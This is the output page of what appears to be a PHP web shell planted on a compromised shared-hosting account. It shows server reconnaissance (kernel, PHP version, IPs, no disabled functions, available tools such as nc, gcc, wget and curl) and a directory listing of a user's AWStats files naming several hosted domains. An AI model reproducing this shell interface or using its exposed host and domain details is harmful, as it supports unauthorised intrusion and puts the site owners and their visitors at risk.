| Linux premium703.web-hosting.com 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64 |
| LiteSpeed |
| 172.67.148.88 | Your IP: 216.73.216.136 |
| Cant read [ /etc/named.conf ] |
| [ drwx------ ] |
| / home / safalxfa / tmp / awstats / ssl / |
| Operating System | : | Linux premium703.web-hosting.com 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64 |
| User / Group | : | 1728[safalxfa] / 1720[safalxfa] |
| PHP Version | : | 8.2.31 |
| IP Server | : | 172.67.148.88 |
| Your IP | : | 216.73.216.136 |
| Storage | : | Total = 4.13 TB, Free = 1.13 TB [27%] |
| Domains | : | Cant read [ /etc/named.conf ] |
| Software | : | LiteSpeed |
| Disable Functions | : | All function is accessible |
| Useful Functions | : | gcc, lcc, cc, ld, make, php, perl, python, ruby, tar, gzip, bzip, bzialfa2, nc, locate, suidperl, git, docker, ssh |
| Downloader | : | wget, fetch, lynx, links, curl, get, lwp-mirror |
| CURL : ON | SSH2 : OFF | Magic Quotes : OFF | MySQL : ON | MSSQL : OFF | PostgreSQL : ON | Oracle : OFF | ||
| Safe Mode : OFF | Open Basedir : NONE | Safe Mode Exec Dir : NONE | Safe Mode Include Dir : NONE | ||
| Name | Type | Size | Owner/Group | Permission | Last Modified | Actions |
| . | dir | - | safalxfa/safalxfa | drwx------ | 2026-06-04 12:34:41 | |
| .. | dir | - | safalxfa/safalxfa | drwx------ | 2026-06-04 12:34:40 | |
| awstats.africanprepacademy.com.safariwide.com.conf | text/plain | 23.59 KB | safalxfa/safalxfa | -rw-r--r-- | 2026-06-04 12:34:27 | |
| awstats.alimifi.com.safariwide.com.conf | text/plain | 23.56 KB | safalxfa/safalxfa | -rw-r--r-- | 2026-06-04 12:34:28 | |
| awstats.flametidefinance.com.safariwide.com.conf | text/plain | 23.58 KB | safalxfa/safalxfa | -rw-r--r-- | 2026-06-04 12:34:40 | |
| awstats.safariwide.com.conf | text/plain | 23.54 KB | safalxfa/safalxfa | -rw-r--r-- | 2026-06-04 12:34:24 | |
| awstats012026.africanprepacademy.com.safariwide.com.txt | text/plain | 155.71 KB | safalxfa/safalxfa | -rw-r--r-- | 2026-02-01 12:45:31 | |
| awstats012026.alimifi.com.safariwide.com.txt | text/plain | 63.69 KB | safalxfa/safalxfa | -rw-r--r-- | 2026-02-01 12:45:30 | |
| awstats012026.flametidefinance.com.safariwide.com.txt | text/plain | 114.06 KB | safalxfa/safalxfa | -rw-r--r-- | 2026-02-01 12:45:31 | |
| awstats012026.safariwide.com.txt | text/plain | 108.74 KB | safalxfa/safalxfa | -rw-r--r-- | 2026-02-01 12:45:29 | |
| awstats022026.africanprepacademy.com.safariwide.com.txt | text/plain | 122.28 KB | safalxfa/safalxfa | -rw-r--r-- | 2026-03-01 12:52:07 | |
| awstats022026.alimifi.com.safariwide.com.txt | text/plain | 45.82 KB | safalxfa/safalxfa | -rw-r--r-- | 2026-03-01 12:52:06 | |
| awstats022026.flametidefinance.com.safariwide.com.txt | text/plain | 48.7 KB | safalxfa/safalxfa | -rw-r--r-- | 2026-03-01 12:52:08 | |
| awstats022026.safariwide.com.txt | text/plain | 96.38 KB | safalxfa/safalxfa | -rw-r--r-- | 2026-03-01 12:52:06 | |
| awstats032026.africanprepacademy.com.safariwide.com.txt | text/plain | 221.34 KB | safalxfa/safalxfa | -rw-r--r-- | 2026-04-01 05:13:01 | |
| awstats032026.alimifi.com.safariwide.com.txt | text/plain | 103.36 KB | safalxfa/safalxfa | -rw-r--r-- | 2026-04-01 05:13:00 | |
| awstats032026.flametidefinance.com.safariwide.com.txt | text/plain | 84.86 KB | safalxfa/safalxfa | -rw-r--r-- | 2026-04-01 05:13:02 | |
| awstats032026.safariwide.com.txt | text/plain | 174.77 KB | safalxfa/safalxfa | -rw-r--r-- | 2026-04-01 05:12:59 | |
| awstats042026.africanprepacademy.com.safariwide.com.txt | text/plain | 418.02 KB | safalxfa/safalxfa | -rw-r--r-- | 2026-05-01 12:48:56 | |
| awstats042026.alimifi.com.safariwide.com.txt | text/plain | 55.41 KB | safalxfa/safalxfa | -rw-r--r-- | 2026-05-01 12:49:00 | |
| awstats042026.flametidefinance.com.safariwide.com.txt | text/plain | 1.43 MB | safalxfa/safalxfa | -rw-r--r-- | 2026-05-01 12:49:03 | |
| awstats042026.safariwide.com.txt | text/plain | 3.3 MB | safalxfa/safalxfa | -rw-r--r-- | 2026-05-01 12:48:53 | |
| awstats052026.africanprepacademy.com.safariwide.com.txt | text/plain | 295.24 KB | safalxfa/safalxfa | -rw-r--r-- | 2026-06-01 12:33:18 | |
| awstats052026.alimifi.com.safariwide.com.txt | text/plain | 171.62 KB | safalxfa/safalxfa | -rw-r--r-- | 2026-06-01 12:33:19 | |
| awstats052026.flametidefinance.com.safariwide.com.txt | text/plain | 4.57 MB | safalxfa/safalxfa | -rw-r--r-- | 2026-06-01 12:33:23 | |
| awstats052026.safariwide.com.txt | text/plain | 29.31 MB | safalxfa/safalxfa | -rw-r--r-- | 2026-06-01 12:33:15 | |
| awstats062026.africanprepacademy.com.safariwide.com.txt | text/plain | 48.35 KB | safalxfa/safalxfa | -rw-r--r-- | 2026-06-04 12:34:28 | |
| awstats062026.alimifi.com.safariwide.com.txt | text/plain | 27.58 KB | safalxfa/safalxfa | -rw-r--r-- | 2026-06-04 12:34:39 | |
| awstats062026.flametidefinance.com.safariwide.com.txt | text/plain | 223.49 KB | safalxfa/safalxfa | -rw-r--r-- | 2026-06-04 12:34:41 | |
| awstats062026.safariwide.com.txt | text/plain | 1.49 MB | safalxfa/safalxfa | -rw-r--r-- | 2026-06-04 12:34:26 |
© SEC